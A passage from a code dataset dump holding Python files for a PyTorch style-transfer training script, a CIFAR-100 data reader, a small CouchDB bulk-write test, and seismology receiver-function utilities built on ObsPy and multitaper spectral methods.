(3, 3)),\n nn.ReLU(), # relu4-3\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU(), # relu4-4\n nn.MaxPool2d((2, 2), (2, 2), (0, 0), ceil_mode=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU(), # relu5-1\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU(), # relu5-2\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU(), # relu5-3\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(512, 512, (3, 3)),\n nn.ReLU() # relu5-4\n )\n vgg_normalized.load_state_dict(torch.load(args.vgg))\n for param in vgg_normalized.parameters():\n param.requires_grad = False\n return vgg_normalized\n# vgg19 前19层的镜像解码器\n# 上采样 + 正卷积\nclass Decoder2(nn.Module):\n def __init__(self, in_channel=512, out_channel=3):\n super(Decoder2,self).__init__()\n self.up_sample = nn.Sequential(\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(in_channel, 256, (3, 3)), \n nn.ReLU(inplace=True),\n nn.Upsample(scale_factor=2, mode='nearest'), \n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)), \n nn.ReLU(inplace=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)), \n nn.ReLU(inplace=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 256, (3, 3)), \n nn.ReLU(inplace=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(256, 128, (3, 3)), \n nn.ReLU(inplace=True),\n nn.Upsample(scale_factor=2, mode='nearest'),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(128, 128, (3, 3)), \n nn.ReLU(inplace=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(128, 64, (3, 3)), \n nn.ReLU(inplace=True),\n nn.Upsample(scale_factor=2, mode='nearest'),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64, 64, (3, 3)),\n nn.ReLU(inplace=True),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64, out_channel, (3, 3)),\n )\n def forward(self,x):\n x = self.up_sample(x)\n return x\n\n\"\"\"### 自适应融合模块\"\"\"\n\n# 多适应模块,作用为分离content和style feature 然后 fusion\n# 论文中 SA和CA两模块的的代码\n# style_self_Adaption\n# 多适应模块,作用为分离content和style feature 然后 fusion\n# 论文中 SA和CA两模块的的代码\n# 这里与论文中一致,用到的是conv4_1的feature map 进行融合\n# co_Adaption_fusion\n# SAnet的做法是,直接对前面的content和style进行normalization,而本文是进行了自适应,并且用dis_loss去学习怎么分离\n# F = self.f(mean_variance_norm(content))\n# G = self.g(mean_variance_norm(style))\nclass SA_fusion(nn.Module):\n def __init__(self,in_channel,out_channel):\n super(SA_fusion,self).__init__()\n self.conv_f1 = nn.Conv2d(in_channel,out_channel,(1,1))\n self.conv_f2 = nn.Conv2d(in_channel,out_channel,(1,1))\n self.conv_f3 = nn.Conv2d(in_channel,out_channel,(1,1))\n self.conv_frs = nn.Conv2d(in_channel,out_channel,(1,1))\n self.softmax = nn.Softmax(dim = -1) \n def forward(self,x_fcc,x_fss):\n Bc,Cc,Hc,Wc = x_fcc.shape\n Bs,Cs,Hs,Ws = x_fss.shape\n x_fcc1 = self.conv_f1(normalization(x_fcc)) # [B,C,H,W]\n x_fss2 = self.conv_f2(normalization(x_fss)) # [B,C,H,W]\n x_fss3 = self.conv_f3(x_fss).view(Bc,Cs,Hs*Ws) # shape [Cs,Ns]\n # position_wise Multiplication\n Acs = self.softmax(torch.bmm(x_fcc1.view(Bc,Cc,Hc*Wc).permute(0, 2, 1),x_fss2.view(Bs,Cs,Hs*Ws))) # softmax 按行计算的 [Nc,Ns] \n x_frs= torch.bmm(x_fss3,Acs.permute(0, 2, 1)) # Acs的每一行代表相关性 [Cs,Ns] x [Ns,Nc] = [Cs,Nc]\n x_frs = self.conv_frs(x_frs.view(x_fcc.shape))\n x_fcs = torch.add(x_frs,x_fcc)\n return x_fcs\nclass Fusion(nn.Module):\n def __init__(self,in_channel = 512):\n super(Fusion,self).__init__()\n self.fusion_4_1 = SA_fusion(in_channel,in_channel)\n self.fusion_5_1 = SA_fusion(in_channel,in_channel)\n self.up_sample5_1 = nn.Upsample(scale_factor=2, mode='nearest')\n self.merge_conv_pad = nn.ReflectionPad2d((1, 1, 1, 1))\n self.merge_conv = nn.Conv2d(in_channel, in_channel, (3, 3)) \n def forward(self,content_4_1,style_4_1,content_5_1,style_5_1):\n return self.merge_conv(self.merge_conv_pad(self.fusion_4_1(content_4_1,style_4_1) \n + self.up_sample5_1(self.fusion_5_1(content_5_1,style_5_1))))\n\nimport numpy as np\nfrom torch.utils import data\n\ndef setup_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n torch.backends.cudnn.deterministic = True\nsetup_seed(666)\ndef InfiniteSampler(n):\n # i = 0\n i = n - 1\n order = np.random.permutation(n)\n while True:\n yield order[i]\n i += 1\n if i >= n:\n np.random.seed()\n order = np.random.permutation(n)\n i = 0\n\n\nclass InfiniteSamplerWrapper(data.sampler.Sampler):\n def __init__(self, data_source):\n self.num_samples = len(data_source)\n\n def __iter__(self):\n return iter(InfiniteSampler(self.num_samples))\n\n def __len__(self):\n return 2 ** 31\n\nimport argparse\nimport os\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.utils.data as data\nfrom PIL import Image\nfrom PIL import ImageFile\nfrom torchvision import transforms\nfrom tqdm import tqdm\n\ncudnn.benchmark = True\nImage.MAX_IMAGE_PIXELS = None # Disable DecompressionBombError\nImageFile.LOAD_TRUNCATED_IMAGES = True # Disable OSError: image file is truncated\n\n\ndef train_transform(): \n return transforms.Compose([\n transforms.Resize((512,512)),\n transforms.RandomResizedCrop(MAX_IMAGE_SIZE),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n\n\nclass FlatFolderDataset(data.Dataset):\n def __init__(self, root, transform):\n super(FlatFolderDataset, self).__init__()\n self.root = root\n self.paths = os.listdir(self.root)\n self.transform = transform\n\n def __getitem__(self, index):\n path = self.paths[index]\n img = Image.open(os.path.join(self.root, path)).convert('RGB')\n img = self.transform(img)\n return img\n\n def __len__(self):\n return len(self.paths)\n\n def name(self):\n return 'FlatFolderDataset'\n\n\ndef adjust_learning_rate(optimizer, iteration_count):\n \"\"\"Imitating the original implementation\"\"\"\n lr = args.lr / (1.0 + args.lr_decay * iteration_count)\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\nparser = argparse.ArgumentParser()\n# Basic options\nparser.add_argument('--content_dir', type=str, default='./mydata/content_coco',\n help='Directory path to a batch of content images')\nparser.add_argument('--style_dir', type=str, default='./mydata/style_wiki',\n help='Directory path to a batch of style images')\nparser.add_argument('--vgg', type=str, default='./mydata/vgg_normalised.pth')\n\n# training options\nparser.add_argument('--save_dir', default='./experiments',\n help='Directory to save the model')\nparser.add_argument('--log_dir', default='./logs',\n help='Directory to save the log')\nparser.add_argument('--lr', type=float, default=1e-4)\nparser.add_argument('--lr_decay', type=float, default=5e-5)\nparser.add_argument('--max_iter', type=int, default=160000)\nparser.add_argument('--batch_size', type=int, default=5)\nparser.add_argument('--style_weight', type=float, default=3.0)\nparser.add_argument('--content_weight', type=float, default=1.0)\nparser.add_argument('--n_threads', type=int, default=16)\nparser.add_argument('--save_model_interval', type=int, default=1000)\nparser.add_argument('--start_iter', type=float, default=0)\nargs = parser.parse_args()\nif torch.cuda.is_available():\n device = torch.device('cuda')\nelse:\n device = torch.device('cpu')\n\ndecoder = Decoder2()\nvgg = get_encoder()\nnetwork = SANet(vgg)\nnetwork.train()\nnetwork.to(device)\n\ncontent_tf = train_transform()\nstyle_tf = train_transform()\n\ncontent_dataset = FlatFolderDataset(args.content_dir, content_tf)\nstyle_dataset = FlatFolderDataset(args.style_dir, style_tf)\n\ncontent_iter = iter(data.DataLoader(\n content_dataset, batch_size=args.batch_size,\n sampler=InfiniteSamplerWrapper(content_dataset),\n num_workers=args.n_threads))\nstyle_iter = iter(data.DataLoader(\n style_dataset, batch_size=args.batch_size,\n sampler=InfiniteSamplerWrapper(style_dataset),\n num_workers=args.n_threads))\n\noptimizer = torch.optim.Adam([\n {'params': network.module_fusion.parameters()},\n {'params': network.module_decoder.parameters()}], lr=args.lr)\n\nif(args.start_iter > 0):\n optimizer.load_state_dict(torch.load('optimizer_iter_' + str(args.start_iter) + '.pth'))\n\nfor i in tqdm(range(args.start_iter, args.max_iter)):\n adjust_learning_rate(optimizer, iteration_count=i)\n content_images = next(content_iter).to(device)\n style_images = next(style_iter).to(device)\n\n loss_c,loss_c_4_1,loss_c_5_1,loss_s,loss_s_per_layer,loss_i1,loss_i2 = network(content_images, style_images)\n loss_all =( lambda_c*loss_c + lambda_s*loss_s +\n lambda_i1*loss_i1 + lambda_i2*loss_i2)\n\n optimizer.zero_grad()\n loss_all.backward()\n optimizer.step()\n\n loss_s_per_layer = np.array(loss_s_per_layer)\n if i%10 ==0:\n print('---------train_iters:{} batch_size:{:2d}----------'.format(i,batch_size))\n print('loss_all:{:.2f} loss_i1:{:.2f} loss_i2:{:.2f} loss_c:{:.2f} loss_s:{:.2f} c_loss_4_1 {:.3f} c_loss_5_1 {:.3f} conv1_1 {:.3f} conv2_1 {:.3f} conv3_1 {:.3f} conv4_1 {:.3f} conv5_1 {:.3f}'\\\n .format(loss_all, loss_i1, loss_i2, loss_c,sum(loss_s_per_layer),loss_c_4_1,loss_c_5_1,loss_s_per_layer[0],loss_s_per_layer[1],loss_s_per_layer[2],loss_s_per_layer[3],loss_s_per_layer[4])) \n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":20665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"138030898","text":"import pickle # 用于序列化和反序列化\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport time\nimport math\n\n'''\n字典形式的数据:\ncifar100 data content: \n { \n \"data\" : [(R,G,B, R,G,B ,....),(R,G,B, R,G,B, ...),...] # 50000张图片,每张: 32 * 32 * 3\n \"coarse_labels\":[0,...,19], # 0~19 super category \n \"filenames\":[\"volcano_s_000012.png\",...], # 文件名\n \"batch_label\":\"\", \n \"fine_labels\":[0,1...99] # 0~99 category \n } \n'''\n\n\nclass Cifar100DataReader():\n def __init__(self, cifar_folder, onehot=True):\n self.cifar_folder = cifar_folder\n self.onehot = onehot\n self.data_label_train = None # 训练集\n self.data_label_test = None # 测试集\n self.batch_index = 0 # 训练数据的batch块索引\n self.test_batch_index = 0 # 测试数据的batch_size\n f = os.path.join(self.cifar_folder, \"train\") # 训练集有50000张图片,100个类,每个类500张\n print('read: %s' % f)\n fo = open(f, 'rb')\n self.dic_train = pickle.load(fo, encoding='bytes')\n fo.close()\n self.data_label_train = list(zip(self.dic_train[b'data'], self.dic_train[b'fine_labels'])) # label 0~99\n np.random.shuffle(self.data_label_train)\n\n def dataInfo(self):\n print(self.data_label_train[0:2]) # 每个元素为二元组,第一个是numpy数组大小为32*32*3,第二是label\n print(self.dic_train.keys())\n print(b\"coarse_labels:\", len(self.dic_train[b\"coarse_labels\"]))\n print(b\"filenames:\", len(self.dic_train[b\"filenames\"]))\n print(b\"batch_label:\", len(self.dic_train[b\"batch_label\"]))\n print(b\"fine_labels:\", len(self.dic_train[b\"fine_labels\"]))\n print(b\"data_shape:\", np.shape((self.dic_train[b\"data\"])))\n print(b\"data0:\", type(self.dic_train[b\"data\"][0]))\n\n # 得到下一个batch训练集,块大小为100\n def next_train_data(self, batch_size=100):\n \"\"\"\n return list of numpy arrays [na,...,na] with specific batch_size\n na: N dimensional numpy array\n \"\"\"\n if self.batch_index < len(self.data_label_train) / batch_size:\n print(\"batch_index:\", self.batch_index)\n datum = self.data_label_train[self.batch_index * batch_size:(self.batch_index + 1) * batch_size]\n self.batch_index += 1\n return self._decode(datum, self.onehot)\n else:\n self.batch_index = 0\n np.random.shuffle(self.data_label_train)\n datum = self.data_label_train[self.batch_index * batch_size:(self.batch_index + 1) * batch_size]\n self.batch_index += 1\n return self._decode(datum, self.onehot)\n\n # 把一个batch的训练数据转换为可以放入神经网络训练的数据\n\n def _decode(self, datum, onehot):\n rdata = list() # batch训练数据\n rlabel = list()\n if onehot:\n for d, l in datum:\n rdata.append(np.reshape(np.reshape(d, [3, 1024]).T, [32, 32, 3])) # 转变形状为:32*32*3\n hot = np.zeros(100)\n hot[int(l)] = 1 # label设为100维的one-hot向量\n rlabel.append(hot)\n else:\n for d, l in datum:\n rdata.append(np.reshape(np.reshape(d, [3, 1024]).T, [32, 32, 3]))\n rlabel.append(int(l))\n return rdata, rlabel\n\n # 得到下一个测试数据 ,供神经网络计算模型误差用\n\n def next_test_data(self, batch_size=100):\n '''''\n return list of numpy arrays [na,...,na] with specific batch_size\n na: N dimensional numpy array\n '''\n if self.data_label_test is None:\n f = os.path.join(self.cifar_folder, \"test\")\n print('read: %s' % f)\n fo = open(f, 'rb')\n dic_test = pickle.load(fo, encoding='bytes')\n fo.close()\n data = dic_test[b'data']\n labels = dic_test[b'fine_labels'] # 0 ~ 99\n self.data_label_test = list(zip(data, labels))\n self.batch_index = 0\n\n if self.test_batch_index < len(self.data_label_test) / batch_size:\n print(\"test_batch_index:\", self.test_batch_index)\n datum = self.data_label_test[self.test_batch_index * batch_size:(self.test_batch_index + 1) * batch_size]\n self.test_batch_index += 1\n return self._decode(datum, self.onehot)\n else:\n self.test_batch_index = 0\n np.random.shuffle(self.data_label_test)\n datum = self.data_label_test[self.test_batch_index * batch_size:(self.test_batch_index + 1) * batch_size]\n self.test_batch_index += 1\n return self._decode(datum, self.onehot)\n\n # 显示 9张图像\n\n def showImage(self):\n rdata, rlabel = self.next_train_data()\n fig = plt.figure()\n ax = fig.add_subplot(331)\n ax.imshow(rdata[0])\n ax = fig.add_subplot(332)\n ax.imshow(rdata[1])\n ax = fig.add_subplot(333)\n ax.imshow(rdata[2])\n ax = fig.add_subplot(334)\n ax.imshow(rdata[3])\n ax = fig.add_subplot(335)\n ax.imshow(rdata[4])\n ax = fig.add_subplot(336)\n ax.imshow(rdata[5])\n ax = fig.add_subplot(337)\n ax.imshow(rdata[6])\n ax = fig.add_subplot(338)\n ax.imshow(rdata[7])\n ax = fig.add_subplot(339)\n ax.imshow(rdata[8])\n plt.show()\n\n\ncifar100=Cifar100DataReader(cifar_folder=\"/home/yang/study/datasetandparam/cifar-100-python\")\ncifar100.showImage()\ncifar100.dataInfo()","sub_path":"yh.py","file_name":"yh.py","file_ext":"py","file_size_in_byte":5657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"83673073","text":"import couchdb\nimport threading\n\ncouch = couchdb.Server('http://admin:admin@127.0.0.1:5984')\ntry:\n db = couch.create('test')\nexcept:\n db = couch['test']\n\n\ndef work():\n for i in range(5000):\n doc = {'thread': threading.currentThread().getName(), 'count': i}\n db.save(doc)\n # print doc\n\n\nfor i in range(200):\n t = threading.Thread(target=work)\n t.start()\n","sub_path":"src/main/java/com/yarik/couchdb/CouchPyTest.py","file_name":"CouchPyTest.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"509585978","text":"#!/usr/bin/env python\n#\n# ********************************************************************** \n# rf_utils is a python module with functions for dealing with cutting and \n# plotting data and doing rf calculations\n# \n# data is obtained from stream objects, and cut according to times relative\n# to phase predictions\n#\n# obspy streams are obtained from asdf files using functions from another\n# module, asdf_utils\n#\n##### Note: #####\n# Module is designed for python 2.x because mtspec isn't 3.x compatible,\n# future functions should make this usable if that ever changes. And the\n# ASDF data files/objects should be ok.\n#\n# Author: Hannah Mark\n# ********************************************************************** \nfrom __future__ import print_function, division \n\nimport os, sys\nimport numpy as np\nimport mtspec as mt\n\nfrom scipy.signal import periodogram\n\nimport mods.EQ.asdf_utils as ut\nimport mods.EQ.files as vr\nfrom mods.utils import tukeywin\n\nfrom pyasdf import ASDFDataSet\nfrom scipy.signal import butter, lfilter\nfrom copy import deepcopy\n\nfrom obspy.taup import TauPyModel, tau_model, taup_time, tau\nfrom obspy.taup.tau_model import TauModel\nfrom obspy.taup.taup_time import TauPTime\nfrom obspy.core import Stream, Trace, AttribDict, UTCDateTime\nfrom obspy.core.event import Catalog, Event, Magnitude, Origin, read_events\nfrom obspy.signal.invsim import cosine_taper\n\n# ********************************************************************** \n\ndef get_data_near_pred_arrival(stream,config,cphase,ctbef,ctaft,comp=None):\n\t\"\"\"\n\tfor each trace in a stream, get predicted arrival time for phase\n\tcphase, and cut to time window around that predicted arrival\n\n\tconfig file is used ONLY FOR FILTER PARAMS\n\n\there the input is a stream and not an asdf file object BECAUSE\n\tthat way it's a lot easier to test with fewer traces\n\n\tthe conversion from asdf to stream in asdf_utils will put all the \n\tnecessary values into the headers\n\n\treturn the stream with shortened traces, I guess?\n\t\"\"\"\n\n\tmodel = TauPyModel(model='ak135') # earth velocity-model \n\n\tplt_pars = ut.read_plt_stn_gather_pars(config)\n\n\tstream.detrend('constant')\n\tstream.detrend('linear')\n\t#Filter data. Now have second-order sections. All is well.\n\tif plt_pars['filter_str']:\n\t\tfilter_str = plt_pars['filter_str']\n\t\t[flo, fhi, npoles] = map(float, filter_str.split(None))\n\t\tif abs(flo - 0.0) < 1e-6:\n\t\t\tstream.filter('lowpass', freq=fhi, corners=npoles, zerophase=False)\n\t\telif abs(fhi - 0.0) < 1e-6:\n\t\t\tstream.filter('highpass', freq=flo, corners=npoles, zerophase=False)\n\t\telse:\n\t\t\tstream.filter('bandpass', freqmin=flo, freqmax=fhi, \n corners=npoles, zerophase=False)\n\n\tstream1 = deepcopy(stream)\n\tif comp:\n\t\tstream1 = stream1.select(component=comp)\n\n\tif type(stream1) == Trace:\n\t\tdelta = [stream1.stats['delta_deg']]\n\t\tdepth = [stream1.stats['event_depth']]\n\n\t\tparrival = ut.get_predicted_arrivals_stn_gather(model,list(cphase),depth,delta)\n\n\t\tevttime = stream1.stats['event_time']\n\t\tcut_t0 = evttime + parrival[cphase][1] - ctbef\n\t\tcut_t1 = evttime + parrival[cphase][1] + ctaft - stream1.stats['delta'] \n\t\t\t# take off one sample at the end b/c fenceposting\n\n\t\tstream1.trim(starttime=cut_t0,endtime=cut_t1)\n\t\n\telse:\n\t\tfor tr in stream1:\n\t\t\tdelta = [tr.stats['delta_deg']]\n\t\t\tdepth = [tr.stats['event_depth']]\n\n\t\t\tparrival = ut.get_predicted_arrivals_stn_gather(model,list(cphase),depth,delta)\n\n\t\t\tevttime = tr.stats['event_time']\n\t\t\tcut_t0 = evttime + parrival[cphase][1] - ctbef\n\t\t\tcut_t1 = evttime + parrival[cphase][1] + ctaft - tr.stats['delta'] \n\t\t\t# take off one sample at the end b/c fenceposting\n\n\t\t\ttr.trim(starttime=cut_t0,endtime=cut_t1)\n\n\treturn stream1\n\n\ndef taper_to_arrival(trace,t0,delta=0.02):\n\t\"\"\"\n\tUse a cosine taper to take the pre-arrival trace to zero or near there\n\tinput a CUT trace, the time of arrival with respect to the beginning of\n\tsaid cut trace, and (if needed) the sample spacing\n\t\"\"\"\n\n\t# figure out how many samples are needed up to t0 (arrival pick)\n\t# make a cosine window twice that length\n\t# take half the cosine and zero-pad to full trace length\n\t# multiply\n\n\tnsamp = int(t0/delta)\n\tctap = cosine_taper(nsamp*2,0.9) # this is somewhat arbitrary?\n\n\ttaper = np.zeros(len(trace))\n\ttaper[:nsamp] = ctap[:nsamp]\n\ttaper[nsamp:] = np.ones(len(taper[nsamp:]))\n\n\ttrace2 = deepcopy(trace)\n\n\ttrace2.data = trace2.data*taper\n\n\treturn trace2\n\n\ndef dpss_lap(tband=4,K=3,olap=0.75,T=50,Ttot=100,delta=0.02):\n\t\"\"\"\n\tlook at the tapers being used, with overlap\n\t\"\"\"\n\n\tnft = int(Ttot/delta)\n\tlap = 1-olap\n\n\t# lengths of things:\n\tntap = int(T/delta) # also in points.\n\tntap2 = int(ntap*lap) # number of points of overlap of taper window\n\tmax_copies = int(nft/ntap2)\n\tcopies = max_copies - int(ntap/ntap2) + 1 # number of windowed bits we need\n\n\n\ttaps,eigen,lamda = mt.dpss(ntap,tband,K) # dpss values, discretely sampled\n\ttaps = taps.T # to make selecting them by number easier\n\n\ttaps[1] = taps[1][::-1]\n\ttaps[2] = -taps[2]\n\n\tsums = np.zeros((copies,nft))\n\n\tfor j in range(copies):\n\t\tfor i in range(K):\n\t\t\tpadded_taper = np.zeros(nft)\n\t\t\tpadded_taper[j*ntap2:j*ntap2+ntap] = taps[i]\n\t\t\tsums[j] = sums[j] + padded_taper/K\n\treturn sums\n\n\ndef et_mt_rf(strR,strZ,strN,tband=4,K=3,olap=0.75,T=50,full=False):\n\t\"\"\"\n\tcompute RF using ETMT method, params set by kwargs\n\n\tinputs:: streams for R and Z data and noise (N), already filtered, for a \n\t\tSINGLE STATION and SINGLE EVENT (stack in wrapper)\n\toutput:: time-domain RF for the given station and receiver\n\n\tafter Shibutani et al. (2008)\n\n\tvars:\n\t\tT = taper (window) length, seconds\n\t\tK = number of eigentapers used\n\t\tJ = number of multitapers (windows)\n\t\tdt = time sampling interval\n\t\tdelta = time lag from first to second taper\n\t\tolap = % overlap of multitapers\n\t\ttband = time-bandwidth product (tband-pi prolate eigentapers)\n\t\"\"\"\n\n\tif type(strR) == Trace:\n\t\ttraR = strR\n\t\ttraZ = strZ\n\t\ttraN = strN\n\n\telse:\n\t\ttraR = strR[0]\n\t\ttraZ = strZ[0]\n\t\ttraN = strN[0]\n\n\tlap = 1-olap\n\tdelta = lap*T\n\tdt = traR.stats['delta'] # time sampling interval\n\n\t# get data as arrays\n\tRdata = traR.data\n\tZdata = traZ.data\n\tNdata = traN.data\n\n\t# lengths of things:\n\tnft = len(Rdata) # #points in time series\n\tnT = int(T/dt) # #points in each taper\n\tndel = int(delta/dt) # #points in overlap of windows\n\n\tJ = int(1 + ((nft*dt - T)/delta)) # #multitapers\n\n\t# allocate arrays to hold FT for each eigentaper for R, Z, N\n\tRw = np.zeros((K,nT),dtype=np.complex)\n\tZw = np.zeros((K,nT),dtype=np.complex)\n\tNw = np.zeros((K,nT),dtype=np.complex)\n\n\t# calculate the tapers\n\ttap,_,_ = mt.multitaper.dpss(nT,tband,K)\n\ttap = tap.T\n\ttap[1] = -tap[1] # assuming first 3 only; these should be flipped?\n\ttap[2] = -tap[2]\n\n\t# get frequencies for FTs of windowed bits for later\n\tfreq = np.fft.fftfreq(nT,d=dt)\n\n\t# for each taper, window along the time traces, take FFTs, and sum\n\tfor j in range(J):\n\n\t\t# window the traces appropriately\n\t\tRbit = Rdata[j*ndel:j*ndel+nT] # length of WINDOW: nT points\n\t\tZbit = Zdata[j*ndel:j*ndel+nT]\n\t\tNbit = Ndata[j*ndel:j*ndel+nT]\n\n\t\t# taper with each taper, FT, timeshift for window\n\t\tfor k in range(K): # loop over tapers\n\n\t\t\tRtap = Rbit*tap[k] # taper\n\t\t\tZtap = Zbit*tap[k]\n\t\t\tNtap = Nbit*tap[k]\n\n\t\t\tRft = np.fft.fft(Rtap) # FFT # consider norm: ortho?\n\t\t\tZft = np.fft.fft(Ztap)\n\t\t\tNft = np.fft.fft(Ntap)\n\n\t\t\tRsh = deepcopy(Rft)\n\t\t\tZsh = deepcopy(Zft)\n\t\t\tNsh = deepcopy(Nft)\n\t\t\tfor kk in range(len(freq)): # time-shift\n\t\t\t\tRsh[kk] = Rsh[kk]*np.exp(-1j*freq[kk]*j*delta)\n\t\t\t\tZsh[kk] = Zsh[kk]*np.exp(-1j*freq[kk]*j*delta)\n\t\t\t\tNsh[kk] = Nsh[kk]*np.exp(-1j*freq[kk]*j*delta)\n\n\t\t\tRw[k] = Rw[k] + Rsh # add to sum for kth taper\n\t\t\tZw[k] = Zw[k] + Zsh\n\t\t\tNw[k] = Nw[k] + Nsh\n\n\t# estimate RF using spectra\n\n\tnumerator = np.sum(Zw*np.conj(Rw),axis=0) # sum over K of product RZ*\n\tdenominator = np.sum(Zw*np.conj(Zw),axis=0) + \\\n\t\t\tnp.sum(Nw*np.conj(Nw),axis=0) # sum over K of RR* and NN*\n\trecF = numerator/denominator\n\n\t# apply gaussian lowpass\n\tfor kk in range(len(freq)):\n\t\trecF[kk] = recF[kk]*np.exp(-(freq[kk]/2*5)**2)\n\n\trecT = np.fft.ifft(recF)\n\n\tif full:\n\t\treturn freq,recF,recT\n\telse:\n\t\treturn recT\n\n\ndef rf_for_station(sta,tband=4,K=3,olap=0.75,T=50,tbef=75,taft=25,froot=None,config=None):\n\t\"\"\"\n\tCalculate etmtrfs for each event for a given station\n\n\tAssumes a certain file structure and config file unless otherwise specified\n\n\tUses CLEANED station gathers for data\n\n\tReturns :: dictionaries of time AND frequency domain RFs, keyed on event id,\n\t\t and the frequencies for the freq. rfs\n\t\"\"\"\n\n\tif froot == None:\n\t\tfroot = vr.data_root\n\tif config == None:\n\t\tconfig = vr.rf_conf\n\n\tRfile = froot + 'station_gather_' + sta + '_clean_R.h5'\n\tZfile = froot + 'station_gather_' + sta + '_clean_Z.h5'\n\n\tasdfR = ASDFDataSet(Rfile)\n\tasdfZ = ASDFDataSet(Zfile)\n\n\tstrR = ut.asdf_to_stream(asdfR)\n\tstrZ = ut.asdf_to_stream(asdfZ)\n\n\tR_ids = []\n\tZ_ids = []\n\n\t# key arrays for where each event is in the data streams\n\tfor i in range(len(strR)):\n\t\tR_ids = np.append(R_ids,strR[i].stats['event_id'])\n\t\tZ_ids = np.append(Z_ids,strZ[i].stats['event_id'])\n\n\tt_total = tbef + taft\n\trf_f = {}\n\trf_t = {}\n\tdelta = strR[0].stats.delta\n\n\tfor ir in range(len(R_ids)):\n\t\tiz = np.where(Z_ids == R_ids[ir])[0][0] # just in case they're different\n\n\t\ttraceR = deepcopy(strR[ir])\n\t\ttraceZ = deepcopy(strZ[iz])\n\t\ttraceN = deepcopy(strR[ir])\n\n\t\tcutN = get_data_near_pred_arrival(traceN,config,'P',t_total + 30,-30)\n\t\tcutR = get_data_near_pred_arrival(traceR,config,'S',tbef,taft)\n\t\tcutZ = get_data_near_pred_arrival(traceZ,config,'S',tbef,taft)\n\n\t\tcutR_tap = taper_to_arrival(cutR,tbef)\n\n\t\tfr,rfF,rfT = et_mt_rf(cutR_tap,cutZ,cutN,tband=tband,K=K,olap=olap,T=T,full=True)\n\n\t\trf_f[R_ids[ir]] = rfF\n\t\trf_t[R_ids[ir]] = rfT\n\n\treturn fr,rf_f,rf_t\n\n\n########################################################################\n#\n# correlation and time shifts\n#\n########################################################################\n\ndef test_tshift(dt,Mrt,Trf,fr,delta):\n\t\"\"\"\n\tshift 'test' rf relative to master using fft, calculate cross-corr of time\n\tdomain rfs to find potential best shift interval\n\t\"\"\"\n\n\tsh_Trf = np.empty(len(Trf),dtype='complex')\n\tfor i in range(len(Trf)):\n\t\tsh_Trf[i] = Trf[i]*np.exp(-2*np.pi*1j*dt*fr[i])\n\n\tTrt = np.fft.ifft(sh_Trf,n=len(Mrt))\n\n\treturn np.absolute(np.correlate(Mrt,Trt,mode='valid'))\n\n\ndef actual_tshift(dt,Mrt,Trf,fr,delta):\n\t\"\"\"\n\tshift 'test' rf relative to master using fft once the best shift interval\n\thas already been determined using test_tshift search\n\t\"\"\"\n\n\tsh_Trf = np.empty(len(Trf),dtype='complex')\n\tfor i in range(len(Trf)):\n\t\tsh_Trf[i] = Trf[i]*np.exp(-2*np.pi*1j*dt*fr[i])\n\n\tTrt = np.fft.ifft(sh_Trf,n=len(Mrt))\n\n\treturn sh_Trf, Trt\n\n\ndef rf_get_shifts_station(rf_t,rf_f,fr,master='C201112140504A',delta=0.02):\n\t\"\"\"\n\tfor one station, calculate STACKED rf for all events\n\tby INPUTTING evt rfs and shifting, using cross-correlation,\n\trelative to one master event\n\n\trf_t :: dict of all TIME rfs for a given station, keyed by event id\n\trf_f :: dict of all FREQ rfs for a given station, keyed by event id\n\tfr :: frequencies for rf_f series\n\n\toutputs :: tshifts keyed by event id\n\t\"\"\"\n\n\ttshift = {}\n\trf_t_mast = rf_t[master]\n\n\tshifts = np.arange(-1,1,.01)\n\n\n\tfor eid in rf_t.keys():\n\n\t\tcorr = [test_tshift(ii,rf_t_mast,rf_f[eid],fr,delta) for ii in shifts]\n\n\t\tind = np.argmax(corr)\n\n\t\ttshift[eid] = shifts[ind]\n\n\treturn tshift\n\ndef rf_shift_station(rf_t,rf_f,fr,tshift,master='C201112140504A',delta=0.02):\n\t\"\"\"\n\tactually shift rfs according to tshifts determined earlier\n\t\"\"\"\n\n\trf_t_shift = {}\n\trf_f_shift = {}\n\n\tfor eid in rf_t.keys():\n\t\trfshift,rtshift = actual_tshift(tshift[eid],rf_t[master],rf_f[eid],fr,delta)\n\t\trf_t_shift[eid] = rtshift\n\t\trf_f_shift[eid] = rfshift\n\n\treturn rf_t_shift,rf_f_shift\n\n\n\n","sub_path":"mods/EQ/rf_utils.py","file_name":"rf_utils.py","file_ext":"py","file_size_in_byte":11707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} 